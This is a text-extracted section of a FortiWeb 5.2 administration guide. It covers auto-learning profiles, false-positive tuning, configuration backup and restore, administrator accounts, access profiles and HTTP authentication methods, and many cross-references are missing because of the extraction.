Click to open a pop-up dialog. This appears only if you have selected a profile in the navigation pane.
For details, see “Specifying URLs allowed to initiate sessions” on page 438 .
206 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Edit
Exception
Method
Description
Click to open a pop-up dialog. This appears only if you have selected a URL in the navigation pane.
For details, see “Configuring allowed method exceptions” on page 461 .
Parameters tab
Set
Type the data type and maximum length of the parameter, and indicate whether or not the parameter is required input. These settings will appear in the generated parameter validation rule and input rules. For details, see
“Validating parameters (“input rules”)” on page 444 and
“Preventing zero-day attacks” on page 444
.
Custom
Caution: Before
you leave the page, mark the Custom check boxes for rows where you have clicked this icon.
Failure to do so will cause FortiWeb appliance to discard your settings when you leave the page.
Before you click Set or leave the page, enable this option for each row whose manual settings you want to save.
5. Above the display pane, click Generate Config.
A pop-up dialog appears.
Fortinet
6. In Profile Name, type a name prefix, such as generated-profile.
The FortiWeb appliance adds a dash ( - ) to the profile name followed by a number indicating the year, month, day, and time on which the profile was generated in order to indicate the data on which the profile was based.
7. From Profile Type, select which type of web profile you want to generate, either Inline (to generate an inline protection profile) or Offline (to generate an offline protection profile).
8. Click OK.
The generated profile appears in either:
•
)
•
Adjust configuration items used by the generated profile, such as input rules, when necessary.
Generated configuration items will be based upon auto-learning data current at the time that the profile is generated. Data may have changed while you were reviewing the
auto-learning report, and/or after you have generated the profiles.
207 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
If you do not configure any settings, by default, the FortiWeb appliance will generate a profile that allows the HTTP GET method and any other methods whose usage exceeded the threshold, and will add the remaining methods to an allowed method exception. It will also create start page rules and trusted IP rules for the most commonly requested URLs, and blacklist IP addresses that commonly requested suspicious URLs. Attack signatures will be disabled or exceptions added according to your configurations in
Server Protection Exception Threshold
.
9. Continue with
“Transitioning out of the auto-learning phase” .
Transitioning out of the auto-learning phase
As your web servers change, you may periodically want to run auto-learning for them on a smaller scale.
For example, perhaps you will install or update a web application or web server, resulting in new structures and different vulnerabilities.
However, for most day-today use, auto-learning should be disabled and your protection profiles fully applied.
To transition to day-to-day use
1. To apply a profile generated by auto-learning, select it in
policy (see
“Configuring a server policy” on page 509 ).
2. If, during auto-learning, any Action in the protection profile or its auxiliary components was set to Alert & Deny or Alert & Erase, verify that those same actions are applied in the protection profile that you generated from auto-learning data. (Incomplete session data due to those actions may have caused auto-learning to be unable to detect those attack types.)
3. If necessary, either:
• Manually adjust the generated profile and its components to suit your security policy. For more serious violations, instead of setting Action to Alert, use a blocking or redirecting option such as Alert & Deny.
• Run a second auto-learning phase to refine your configuration: select the newly
generated protection profile in
auto-learning data (see
“Removing old auto-learning data” ), then revisit
.
4. Modify the policy to select your newly generated profile in
.
5. To validate the configuration, test it (see
“Testing your installation” on page 210
.)
6. When you are done collecting auto-learning data and generating your configuration, to improve performance, disable auto-learning by deselecting the auto-learning profile in
See also
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
•
208 FortiWeb 5.2 Patch 2 Administration Guide
Removing old auto-learning data
There are many reasons why you may want to delete old auto-learning data.
• You want to free disk space and system resources.
• You installed different web applications on your web servers, and old auto-learning data, based upon the previous installations, no longer applies.
• You initiated auto-learning while its URL replacer was misconfigured, and old auto-learning data is malstructured, such as being split between many instances of a dynamic URL, or missing parameters.
You can delete old data. Reports and any profiles generated from the auto-learning profile will then include only subsequently gathered data.
To delete auto-learning data
Alternatively, you can remove auto-learning data by, when the auto-learning profile’s report is open, right-clicking the node in the left-hand pane, then selecting Clean Data.
1. Go to Auto Learn > Auto Learn Report > Auto Learn Report.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Autolearn Configuration category. For details, see
2. Either:
• To select one or more reports, mark the check box next to them.
• To select all reports, mark the check box in the check box column’s heading.
3. Click Clean Data.
See also
•
•
Pausing auto-learning for a URL
•
How to adapt auto-learning to dynamic URLs & unusual parameters
Fortinet 209 FortiWeb 5.2 Patch 2 Administration Guide
Testing your installation
When the configuration is complete, test it by forming connections between legitimate clients and servers at various points within your network topology.
In offline protection mode and transparent inspection mode, if your web server applies SSL and you need to support Google Chrome browsers, you must disable Diffie-Hellman key exchanges on the web server. These sessions cannot be inspected.
Examine the HTTP Traffic Monitor section of the Policy Summary widget on System > Status >
Status. If there is no traffic, you have a problem. See
“Connectivity issues” on page 674
.
Figure 32:HTTP Traffic Monitor section of the Policy Summary widget
Fortinet
If a connection fails, you can use tools included in the firmware to determine whether the problem is local to the appliance or elsewhere on the network. See
instructions.
If you have another FortiWeb appliance, you can use its web vulnerability scanner to verify that
You may need to refine the configuration (see “Expanding the initial configuration”
).
Once testing is complete, finish your basic setup with either
“Switching out of offline protection mode” on page 214 or
. Your FortiWeb appliance has many additional
210 FortiWeb 5.2 Patch 2 Administration Guide
protection and maintenance features you can use. For details, see the other chapters in this
Administration Guide.
Reducing false positives
If the dashboard indicates that you are getting dozens or hundreds of nearly identical attacks, they may actually be legitimate requests that were mistakenly identified as attacks (i.e. false positives). Many of the signatures, rules, and policies that make up protection profiles are based, at least in part, on regular expressions. If your web sites’ inputs and other values are hard for you to predict, the regular expression may match some values incorrectly. If the matches are not exact, many of your initial alerts may not be real attacks or violations. They will be false positives.
Fix false positives that appear in your attack logs so that you can focus on genuine attacks.
Here are some tips:
• Examine your web protection profile (go to Policy > Web Protection Profile and view the settings in the applicable offline or inline protection profile). Does it include a signature set that seems to be causing alerts for valid URLs. If so, disable the signature to reduce false positives.
• If your web protection profile includes a signature set where the Extended Signature Set option is set to Full, reduce it to Basic to see if that reduces false positives. See
URLs allowed to initiate sessions” on page 438 .
• If your web protection profile includes HTTP protocol constraints that seem to be causing alerts for legitimate HTTP requests, create and use exceptions to reduce false positives. See
“Configuring HTTP protocol constraint exceptions” on page 471 .
• Most dialog boxes that accept regular expressions include the >> (test) icon. This opens the
Regular Expression Validator window, where you can fine-tune the expression to eliminate false positives.
Figure 33:Regular Expression Validator dialog
Fortinet
• If you use features on the DoS Protection menu to guard against denial-of-service attacks, you could have false positives if you set the thresholds too low. Every client that accesses a web application generates many sessions as part of the normal process. Try adjusting some thresholds higher.
• To learn more about the behavior of regular expressions that generate alerts, enable the
Retain Packet Payload options in the logging configuration. Packet payloads provide the actual data that triggered the alert, which may help you to fine tune your regular expressions
and “Viewing log messages” on page 587 .
211 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Testing for vulnerabilities & exposure
Even if you are not a merchant, hospital, or other agency that is required by law to demonstrate compliance with basic security diligence to a regulatory body, you still may want to verify your security.
• Denial of service attacks can tarnish your reputation and jeopardize service income.
• Hacked servers can behave erratically, decreasing uptime.
• Malicious traffic can decrease performance.
• Compromised web servers can be used as a stepping stone for attacks on sensitive database servers.
To verify your configuration, start by running a vulnerability scan. See
results, you may decide to expand or harden your FortiWeb’s initial configuration (see
“Hardening security” on page 641
).
Expanding the initial configuration
After your FortiWeb appliance has operated for several days without significant problems, it is a good time to adjust profiles and policies to provide additional protection and to improve performance.
• Begin monitoring the third-party cookies FortiWeb observes in traffic to your web servers.
When cookies are found, an icon appears on Policy > Server Policy > Server Policy for each affected server. If cookies are threats, such as if they are used for state tracking or database input, consider enabling the
option on the inline protection profiles for those servers.
• Add any missing rules and policies to your protection profiles, such as:
• page access rules (see
“Enforcing page order that follows application logic” on page 433
)
• start page rules (see
“Specifying URLs allowed to initiate sessions” on page 438 )
•
brute force login profiles (see “Preventing brute force logins” on page 375
)
• rewriting policies (see
“Rewriting & redirecting” on page 379 )
•
denial-of-service protection (see “DoS prevention” on page 356 )
Especially if you began in offline protection mode and later transitioned to another operation mode such as reverse proxy, new features may be available that were not supported in the previous operation mode.
• Examine the Attack Event History in the Policy Summary widget on System > Status >
Status. If you have zero attacks, but you have reasonable levels of traffic, it may mean the protection profile used by your server policy is incomplete and not detecting some attack attempts.
212 FortiWeb 5.2 Patch 2 Administration Guide
Figure 34:Attack Event History section of the Policy Summary widget
Fortinet
• Examine the Attack Log widget on System > Status > Status. If the list includes many identical entries, it likely indicates false positives. If there are many entries of a different nature, it likely indicates real attacks. If there are no attack log entries but the Attack Event
History shows attacks, it likely means you have not correctly configured logging. See
“Configuring logging” on page 575 .
Figure 35:Attack Log Widget
You can create reports to track trends that may deserve further attention. See
“Data analytics” on page 631 ,
“Vulnerability scans” on page 533
, and
213 FortiWeb 5.2 Patch 2 Administration Guide
Switching out of offline protection mode
Switch only if you chose offline protection mode for evaluation or transition purposes when you first set up your FortiWeb appliance, and now want to transition to a full deployment.
To switch the operation mode
1. Back up your configuration. See
.
Back up your system before changing the operation mode. Changing modes deletes policies not applicable to the new mode, static routes, and V-zone IP addresses. You may also need to re-cable your network topology to suit the operation mode.
2. Disconnect all cables from the physical ports except the cable to your management computer.
3. Reconfigure the network interfaces with the IP addresses and routes that they will need in their new topology.
.
5. Change the operation mode. See “Setting the operation mode” on page 102
.
6. Go to Router > Static > Static Route. If your static routes were erased, re-create them. See
“Adding a gateway” on page 135 .
7. Go to System > Network > Interface. If your VLAN configurations were removed, re-create them. If you chose one of the transparent modes, consider creating a v-zone bridge instead
of VLANs. See “Configuring a bridge (V-zone)” on page 132
.
8. Go to Policy > Web Protection Policy > Inline Protection Profile. Create new inline protection profiles that reference the rules and policies in each of your previous offline protection profiles. See
“Configuring a protection profile for inline topologies” on page 492
and “How operation mode affects server policy behavior” on page 487
.
9. Go to Policy > Server Policy > Server Policy. Edit your existing server policies to reference
.
10.Watch the monitors on the dashboard to make sure traffic is flowing through your appliance in the new mode.
11.Since there are many possible configuration changes when switching modes, including additional available protections, don’t forget to retest. Prior testing is no longer applicable.
Fortinet 214 FortiWeb 5.2 Patch 2 Administration Guide
Backups
Once you have tested your basic installation and verified that it functions correctly, create a backup. This “clean” backup can be used to:
• troubleshoot a non-functional configuration by comparing it with this functional baseline (via
• rapidly restore your installation to a simple yet working point (see
“Restoring a previous configuration” on page 219 )
• batch-configure FortiWeb appliances by editing the file in a plain text editor, then uploading
)
After you have a working deployment, back up the configuration again after any changes. This ensures that you can rapidly restore your configuration exactly to its previous state if a change does not work as planned.
.
Your deployment’s configuration is comprised of a few separate components. To make a
complete configuration backup, you must include the:
• Core configuration file
• Certificates, private keys, and custom error pages
• Vulnerability scan settings
• Web protection profiles
• Web server configuration files (see the documentation for your web servers’ operating systems or your preferred third-party backup software)
Configuration backups do not include data such as logs and reports.
Fortinet
There are multiple methods that you can use to create a FortiWeb configuration backup. Use whichever one suits your needs:
•
“To back up the configuration via the web UI”
•
“To back up the configuration via the web UI to an FTP/SFTP server”
•
“To back up the configuration via the CLI to a TFTP server”
To back up the configuration via the web UI
1. Log in to the web UI as the admin administrator.
Other administrator accounts do not have the required permissions.
215 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to System > Maintenance > Backup & Restore.
The top of the page displays the date and time of the last backup. (No date and time is displayed if the configuration was never backed up, or you restored the firmware.)
Fortinet
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
3. Under Backup/Restore, select Backup.
4. Select either:
• Backup entire configuration — Creates a full backup of the configuration that includes both the configuration file (a CLI script) and other uploaded files, such as private keys, certificates, and error pages.
You cannot use the web UI to restore this type of backup. Instead, use the execute restore
command. See the
FortiWeb CLI Reference
.
• Backup CLI configuration — Backs up the core configuration file only (a CLI script) and excludes any other uploaded files and vulnerability scan settings.
• Backup Web Protection Profile related configuration — Backs up the web protection profiles only.
5. If you would like to password-encrypt the backup files using 128-bit AES before downloading them, enable Encryption and type a password in Password.
6. Click Backup.
If your browser prompts you, navigate to the folder where you want to save the configuration file. Click Save.
Your browser downloads the configuration file. The download time varies by the size of the configuration and the specifications of the appliance’s hardware as well as the speed of your network connection. It can take several minutes.
216 FortiWeb 5.2 Patch 2 Administration Guide
To back up the configuration via the web UI to an FTP/SFTP server
Fortinet strongly recommends that you password-encrypt this backup, and store it in a secure location. This method includes sensitive data such as your HTTPS certificates’ private keys. Unauthorized access to private keys compromises the security of all HTTPS requests using those certificates.
1. Go to System > Maintenance > FTP Backup.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
2. Click Create New.
A dialog appears.
3. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. Configure these settings:
Fortinet
Setting name
FTP Protocol
FTP Server
FTP Directory
FTP
Authentication
Description
Select whether to connect to the server using FTP or SFTP.
Type either the IP address or fully qualified domain name (FQDN) of the server. The maximum length is 127 characters.
Type the directory path on the server where you want to store the backup file. The maximum length is 127 characters.
Enable if the server requires that you provide a user name and password for authentication, rather than allowing anonymous connections.
217 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
FTP User
Backup Type
Description
Type the user name that the FortiWeb appliance will use to authenticate with the server. The maximum length is 127 characters.
This field appears only if you enable
FTP Password
Type the password corresponding to the user account on the server. The maximum length is 127 characters.
This field appears only if you enable
Select either:
• Full Config — A full configuration backup that includes both the configuration file and other uploaded files, such as private keys, certificates, and error pages.
Note:
You cannot restore a full configuration backup made via
FTP/SFTP by using the web UI. Instead, use the execute restore command in the CLI.
• CLI Config — Only includes the core configuration file.
• WAF Config — Only includes the web protection profiles.
Encryption
Encryption
Password
Enable to encrypt the backup file using 128-bit AES and a password.
Type the password that will be used to encrypt the backup file.
This field appears only if you enable
Schedule Type
Select either:
Days
Time
• Now — Initiate the backup immediately.
• Daily — Schedule a recurring backup for a specific day and time of the week.
Select the specific days when you want the backup to occur.
This field is visible only if you set
Schedule Type
to Daily.
Select the specific hour and minute of the day when you want the backup to occur.
This field is visible only if you set
Schedule Type
to Daily.
5. Click OK.
If you selected an immediate backup, the appliance connects to the server and uploads the backup.
To back up the configuration via the CLI to a TFTP server
Fortinet strongly recommends that you password-encrypt this backup, and store it in a secure location. This method includes sensitive data such as your HTTPS certificates’ private keys.
1. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as tftpd ( Windows , Mac OS X , or Linux ) on your management computer.)
Because TFTP is not secure, and because it does not support authentication and could allow anyone to have read and write access, you should only run it on trusted administrator-only networks, never on computers directly connected to the Internet. If possible, immediately turn off tftpd off when you are done.
218 FortiWeb 5.2 Patch 2 Administration Guide
2. Log in to the CLI as the admin administrator using either the local console, the CLI Console widget in the web UI, or an SSH or Telnet connection.
Other administrator accounts do not have the required permissions.
3. Enter the following command: execute backup full-config tftp <file-name_str> <server_ipv4>
[<backup-password_str>] where:
Variable
<file-name_str>
Description
Type the file name of the backup.
<server_ipv4>
Type either the IP address of the server.
Note:
Domain names are currently not valid input with this command if you choose the FTP protocol.
[<backup-password
_str>]
Optional. Type the password that will be used to encrypt the backup file.
Caution:
Do not lose this password. You will need to enter this same password when restoring the backup file in order for the appliance to successfully decrypt the file. If you cannot remember the password, the backup cannot be used.
For example, the following command backs up a FortiWeb-3000C’s configuration file to a file named FortiWeb-3000C.conf in the current directory on the TFTP server 172.16.1.10, encrypting the backup file using the salt string P@ssw0rd1:
FortiWeb-3000C # exec backup full-config FortiWeb-3000c.conf tftp
172.16.1.10 P@ssw0rd1
Time required varies by the size of the database and the specifications of the appliance’s hardware, but could take several minutes.
Restoring a previous configuration
If you have downloaded configuration backups, you can upload one to revert the appliance’s configuration to that point.
Uploading a configuration file can also be used to configure many features of the FortiWeb appliance in a single batch: download a configuration file backup, edit the file in a plain text editor, then upload the finalized configuration.
To upload a configuration via the web UI
1. Go to System > Maintenance > Backup & Restore.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
it by using the execute restore command. See the
FortiWeb CLI Reference
.
Fortinet 219 FortiWeb 5.2 Patch 2 Administration Guide
2. Select Restore.
Available options change to allow for file browsing.
3. Either type the path and file name of the file to restore in the From File field, or click Browse to locate the file. (It has a .conf file extension.)
4. If the backup was encrypted, enable Decryption, then in Password, provide the password that was used to encrypt the backup file.
5. Click Restore to start the restoration of the selected configuration to a file.
Your web browser uploads the configuration file and the FortiWeb appliance restarts with the new configuration. Time required to restore varies by the size of the file and the speed of your network connection. Your web UI session will be terminated when the FortiWeb appliance restarts.
6. To continue using the web UI, if you have not changed the IP address and static routes of the web UI, simply refresh the web page and log in again.
Otherwise, to access the web UI again, in your web browser, modify the URL t to match the new IP address of the network interface.
For example, if you configured port1 with the IP address 10.10.10.5, you would browse to: https://10.10.10.5
If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the
IP address and subnet of your computer to match the FortiWeb appliance’s new IP address.
7. Upload any auxiliary configuration files such as certificates. (These are only included in the configuration backup if you used the CLI or FTP/SFTP server backup. Otherwise, you must upload them again manually.)
Fortinet 220 FortiWeb 5.2 Patch 2 Administration Guide
Administrators
In its factory default configuration, FortiWeb has one administrator account named admin. This administrator has permissions that grant full access to FortiWeb’s features.
To prevent accidental changes to the configuration, it’s best if only network administrators — and if possible, only a single person — use the admin account. You can use the admin administrator account to configure more accounts for other people. Accounts can be made with different scopes of access. If you require such role-based access control (RBAC) restrictions, or if you simply want to harden security or prevent inadvertent changes to other administrators’
areas, you can do so via access profiles. See “Configuring access profiles” on page 226
.
Similarly, you can divide policies and protected host names and assign them to separate
administrator accounts. See “Administrative domains (ADOMs)” on page 45 .
For example, you could create an account for a security auditor who must only be able to view the configuration and logs, but not change them.
Administrators may be able to access the web UI, the CLI, and use ping/traceroute through the network, depending on:
• the account’s trusted hosts (
• the protocols enabled for each of the FortiWeb appliance’s network interfaces (
“Configuring the network interfaces” on page 121 )
• permissions (see
)
To determine which administrators are currently logged in, use the CLI command get system logged-users
. For details, see the
FortiWeb CLI Reference
.
To prevent multiple administrators from logging in simultaneously, which could allow them to inadvertently overwrite each other’s changes, enable
Enable Single Admin User login
details, see
“Global web UI & CLI settings” on page 56 .
To configure an administrator account
1. Before configuring the account:
• Configure the access profile that will govern the account’s permissions (see
“Configuring access profiles” on page 226 ).
• If ADOMs are enabled, define the ADOM which will be assigned to this account (see
“Defining ADOMs” on page 48 ).
• If you already have accounts that are defined on an LDAP (e.g. Microsoft Active Directory or IBM Lotus Domino) or RADIUS server, FortiWeb can query the server in order to
2. Go to System > Admin > Administrators.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
3. Click Create New.
A dialog appears.
221 FortiWeb 5.2 Patch 2 Administration Guide Fortinet
4. Configure these settings:
Fortinet
Setting name
Administrator
Type
Description
Type the name of the administrator account, such as admin1 or [email protected]
, that can be referenced in other parts of the configuration.
Do not use spaces or special characters except the ‘at’ symbol ( @ ).
The maximum length is 35 characters.
Note:
This is the user name that the administrator must provide when logging in to the CLI or web UI. If using an external authentication server such as RADIUS or Active Directory, this name will be passed to the server via the remote authentication query.
Select either:
• Local User — Authenticate using an account whose name, password, and other settings are stored locally, in the FortiWeb appliance’s configuration.
• Remote User — Authenticate by querying the remote server that stores the account’s name and password. Also configure
Admin
User Group
.
222 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Password
Description
Type a password for the administrator account.
This field is available only when
Type
is Local User.
Tip:
Set a strong password for every administrator account, and change the password regularly. Failure to maintain the password of every administrator account could compromise the security of your
FortiWeb appliance. As such, it can constitute a violation of PCI DSS compliance and is against best practices. For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly. To check the strength of your password, you can use a utility such as Microsoft’s password strength meter .
Confirm Password Re-enter the password to confirm its spelling.
This field is available only when
Type
is Local User.
.
This field is available only when
Type
is Remote User.
Caution:
Secure your authentication server and, if possible, all query traffic to it. Compromise of the authentication server could allow attackers to gain administrative access to your FortiWeb.
Fortinet 223 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Trusted Host #1
Trusted Host #2
Trusted Host #3
Description
Type the source IP address(es) and netmask from which the administrator is allowed to log in to the FortiWeb appliance. If
is enabled, this is also a source IP address to which FortiWeb will respond when it receives a ping or traceroute signal.
Trusted areas can be single hosts, subnets, or a mixture. For more information, see
To allow logins only from one computer, enter its IP address and 32- or
128-bit netmask in all Trusted Host fields:
192.0.2.2/32
2001:0db8:85a3:::8a2e:0370:7334/128
Caution:
If you configure trusted hosts, do so for all administrator accounts. Failure to do so means that all accounts are still exposed to the risk of brute force login attacks. This is because if you leave even
one administrator account unrestricted (i.e. any of its Trusted Host settings is 0.0.0.0/0.0.0.0), the FortiWeb appliance must allow login attempts on all network interfaces where remote administrative protocols are enabled, and wait until after a login attempt has been received in order to check that user name’s trusted hosts list.
Tip:
If you allow login from the Internet, set a longer and more complex
Password
, and enable only secure administrative access protocols
) to minimize the security risk. For information on
administrative access protocols, see
“Configuring the network interfaces” on page 121
. Also restrict trusted hosts to IPs in your administrator’s geographical area.
Tip:
For improved security, restrict all trusted host addresses to single
IP addresses of computer(s) from which only this administrator will log in.
Fortinet 224 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Access Profile
Administrative
Domain
Description
Select an existing access profile to grant permissions for this administrator account. For more information on permissions, see
“Configuring access profiles” on page 226
and
You can select prof_admin, a special access profile used by the admin administrator account. However, selecting this access profile will not confer all of the same permissions of the admin administrator. For example, the new administrator would not be able to reset lost administrator passwords.
This option does not appear for the admin administrator account, which by definition always uses the prof_admin access profile.
Tip: Alternatively, if your administrator accounts authenticate via a
RADIUS query, you can override this setting and assign their access profile through the RADIUS server using RFC 2548 Microsoft
Vendor-specific RADIUS Attributes.
On the RADIUS server, create an attribute named:
ATTRIBUTE Fortinet-Access-Profile 6 then set its value to be the name of the access profile that you want to assign to this account. Finally, in the CLI, enter the command to enable the override: config system admin edit "admin1" set accprofile-override enable end
If none is assigned on the RADIUS server, or if it does not match the name of an existing access profile on FortiWeb, FortiWeb will fail back to use the one locally assigned by this setting.
Select which existing ADOM to assign this administrator account to it, and to restrict its permissions to that ADOM. For more information on
ADOMs, see
“Administrative domains (ADOMs)” on page 45
and
.
This option appears only if ADOMs are enabled, and if
is not prof_admin. (prof_admin implies global access, with no
restriction to an ADOM.)
5. Click OK.
See also
•
•
Grouping remote authentication queries for administrators
•
Configuring the network interfaces
•
•
•
Administrative domains (ADOMs)
225 FortiWeb 5.2 Patch 2 Administration Guide
Configuring access profiles
Access profiles, together with ADOMs, determine administrator accounts’ permissions.
When an administrator has only read access to a feature, the administrator can access the web
UI page for that feature, and can use the get and show CLI command for that feature, but cannot make changes to the configuration. There are no Create or Apply buttons, or config
CLI commands. Lists display only the View icon instead of icons for Edit, Delete or other modification commands. Write access is required for modification of any kind.
In larger companies where multiple administrators divide the share of work, access profiles often reflect the specific job that each administrator does (“role”), such as user account creation or log auditing. Access profiles can limit each administrator account to their assigned role. This is sometimes called role-based access control (RBAC).
The prof_admin access profile, a special access profile assigned to the admin administrator account and required by it, does not appear in the list of access profiles. It exists by default and cannot be changed or deleted, and consists of essentially UNIX root-like permissions.
Even if you assign the prof_admin access profile to other administrators, they will not have all of the same permissions as the admin account. The admin account has some special permissions, such as the ability to reset administrator passwords, that are inherent in that account only. Other accounts should not be considered a complete substitute.
If you create more administrator accounts, whether to harden security or simply to prevent accidental modification, create other access profiles with the minimal degrees and areas of access that each role requires. Then assign each administrator account the appropriate role-based access profile.
For example, for an administrator whose only role is to audit the log messages, you might make an access profile named auditor that only has Read permissions to the Log & Report area.
To configure an access profile
1. Go to System > Admin > Access Profile.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
2. Click Create New.
A dialog appears.
3. In Profile Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Fortinet 226 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure the permissions options.
For each row associated with an area of the configuration, mark either the None, Read Only, or Read-Write radio buttons to grant that type of permission. For a list of features governed by each access control area, see
Click the Read Only check box to select or deselect all read categories.
Click the Read-Write check box select or deselect all write categories.
Unlike the other rows, whose scope is an area of the configuration, the Maintenance row does not affect the configuration. Instead, it indicates whether the administrator can do special system operations such as changing the firmware.
5. Click OK.
See also
•
•
•
Administrative domains (ADOMs)
Grouping remote authentication queries for administrators
When using LDAP and RADIUS queries to authenticate FortiWeb administrators, you must group queries for administrator accounts into a single set so that it can be used when configuring an administrator account.
To configure an administrator remote authentication query group
1. Before you can add administrators to a group, you must first define an LDAP or RADIUS query whose result set includes those administrator accounts. For details, see
and/or
“Configuring RADIUS queries” on page 242 .
2. Go to User > User Group > Admin Group.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Auth Users category. For details, see
Fortinet 227 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New.
A dialog appears.
4. In Name, type a name that can be referenced by other parts of the configuration, such as admin-remote-auth1
. Do not use special characters. The maximum length is 35 characters.
5. Click OK.
The Create New button for this item, below its name, will no longer be greyed out, indicating that it has become available.
6. Click Create New.
A dialog appears that enables you to add queries to the group.
7. For User Type, select either the LDAP User or RADIUS User query type.
8. From Name, select the name of an existing LDAP or RADIUS query. (The contents of the drop-down list vary by your previous selection in User Type.)
9. Click OK.
10.Repeat the previous steps for each query that you want to use when an account using this query group attempts to authenticate.
11.To apply the set of queries, select the group name in
Admin User Group
when configuring an administrator account (see
).
Changing an administrator’s password
If an administrator has forgotten or lost their password, or if you need to change an administrator account’s password and you do not know its current password, you can reset the password.
If you forget the password of the admin administrator, you can reset the FortiWeb to its default state (including the default administrator account and password) by restoring the firmware. For instructions, see
“Restoring firmware (“clean install”)” on page 696
.
To change an administrator account’s password
If the account authenticates by FortiWeb querying a remote LDAP or RADIUS server, you cannot use this procedure. The Change Password button will be greyed out and unavailable for accounts that use remote authentication. Instead, log in to the remote authentication server and reset the password there.
Fortinet 228 FortiWeb 5.2 Patch 2 Administration Guide
1. Log in as the admin administrator account.
Alternatively, if you know the current password for the account whose password you want to change, you may log in with any administrator account whose access profile permits Read and Write access to items in the Admin Users category.
2. Go to System > Admin > Administrators.
3. Mark the check box in the row of the account whose password you want to change.
4. Click Change Password.
A dialog appears.
5. The Old Password field does not appear for other administrator accounts if you are logged in as the admin administrator. If you logged in using a different account, however, in the Old
Password field, type the current password for the account whose password you are resetting. (The admin account does not have an old password initially.)
6. In the New Password and Confirm Password fields, type the new password and confirm its spelling.
7. Click OK.
If you change the password for the admin administrator account, the FortiWeb appliance logs you out. To continue using the web UI, you must log in. The new password takes effect the next time that account logs in.
Fortinet 229 FortiWeb 5.2 Patch 2 Administration Guide
Users
On FortiWeb, user accounts do not log in to the administrative web UI.
Instead, they are used to add HTTP-based authentication and authorize each request from clients that are connecting through FortiWeb to your protected web servers.
Best practices dictate that each person accessing your web sites should have his or her own account so that security audits can reliably associate a login event with a specific person.
Accounts should be restricted to URLs for which they are authorized. Authorization may be derived from a person’s role in the organization.
For example, a CFO would reasonably have access to all financial data, but a manufacturing technician usually should not. Such segregation of duties in financial regulation schemes often translates to role-based access control (RBAC) in information systems, which you can implement through FortiWeb’s HTTP authentication and authorization rules.
For instructions, see “Offloading HTTP authentication & authorization” on page 234
.
User authentication is not supported in all operation modes. See
“Supported features in each operation mode” on page 69 .
See also
•
•
Offloading HTTP authentication & authorization
•
Example: Enforcing complex passwords
Authentication styles
Multiple different methods exist for end-users to authenticate with web sites. These methods have different appearances and features.
Via the “Authorization:” header in the HTTP/HTTPS protocol
The HTTP/HTTPS protocol itself ( RFC 2965 ) supports simple authentication via the
Authorization:
and WWW-Authenticate: fields in HTTP headers.
When a web site requires authentication in order to authorize access to a URL, it replies with an
HTTP 401 Authorization Required response. This elicits a prompt from the web browser.
Fortinet 230 FortiWeb 5.2 Patch 2 Administration Guide
Figure 36:An HTTP authentication prompt in the Google Chrome browser
Fortinet
If the user supplies credentials, his or her web browser includes them in a second request for the same page. If the credentials are valid, the web server returns the requested URL; otherwise, it repeats its 401 Authorization Required response.
This type of authorization is handled at the web server layer of the host’s software stack, independently of the static HTML, dynamic pages and runtime interpreters (PHP, ColdFusion,
Python, etc.), or database (MySQL, PostgreSQL, etc.) of the web applications it may host, and as a result can span multiple web applications. It also may be offloaded to a FortiWeb (see
“Offloading HTTP authentication & authorization” on page 234
).
Because the HTTP protocol itself is essentially stateless — no request is required to have knowledge of or be related to any other request — as a practical matter, many browsers cache this data so that users will not have to re-enter the same user name and password over and over again, for every page that they visit on the web site. (For this reason, one-time passwords are generally impractical. They effectively contradict the reusability of the cache.) However, in payment for this initial convenience, logouts are basically impossible unless the user clears his or her browser’s cache and/or closes the window (which can also clear the cache).
Accounting, if any, of this type of authentication is handled by the web server (or, if you have offloaded authentication to FortiWeb, it may be accounted for in logs, depending on your configuration of
While some supported WWW-Authenticate: methods encrypt passwords, due to a lack of other cryptographic features, if used with HTTP, it is not as secure as HTTPS. For stronger protection, use HTTP-based authentication with HTTPS.
Via forms embedded in the HTML
Web applications can authenticate users by including <input> tags for each login credential in an <form> buttons, text fields, check boxes, and other inputs on a web application’s login page such as /login.asp.
231 FortiWeb 5.2 Patch 2 Administration Guide
Figure 37:An authentication form on the Fortinet Technical Support login web page
Fortinet
This method does not rely on the mechanism defined in the HTTP protocol. Instead, when the user submits the form, the web application uses form inputs to construct server-side sessions, client-side session cookies, or parameters in the URL such as JSPSESSIONID in order to create statefulness.
This type of authorization occurs at the web application layer of the server’s software stack. As a result, when visiting different web applications on the same host, users may have to authenticate multiple times, unless the web applications share a single sign-on (SSO) framework.
Authorization for each subsequent requested URL then occurs based upon whether the user is in the logged-in state, or the logged-out state, and possibly other implemented conditions such as user groups and permissions. Dynamic page content may change based upon knowledge of the user’s preferences. In addition to a logout button, this method also often adds session timeouts. However, depending on the implementation, it often may only work properly if the client supports — and accepts — cookies.
Accounting, if any, of this type of authentication is handled by the web application or servlet.
This type of authentication cannot be offloaded to FortiWeb, but can be protected using its features. For example, you can use FortiWeb to enforce complex passwords by applying an
232 FortiWeb 5.2 Patch 2 Administration Guide
), you might want to see:
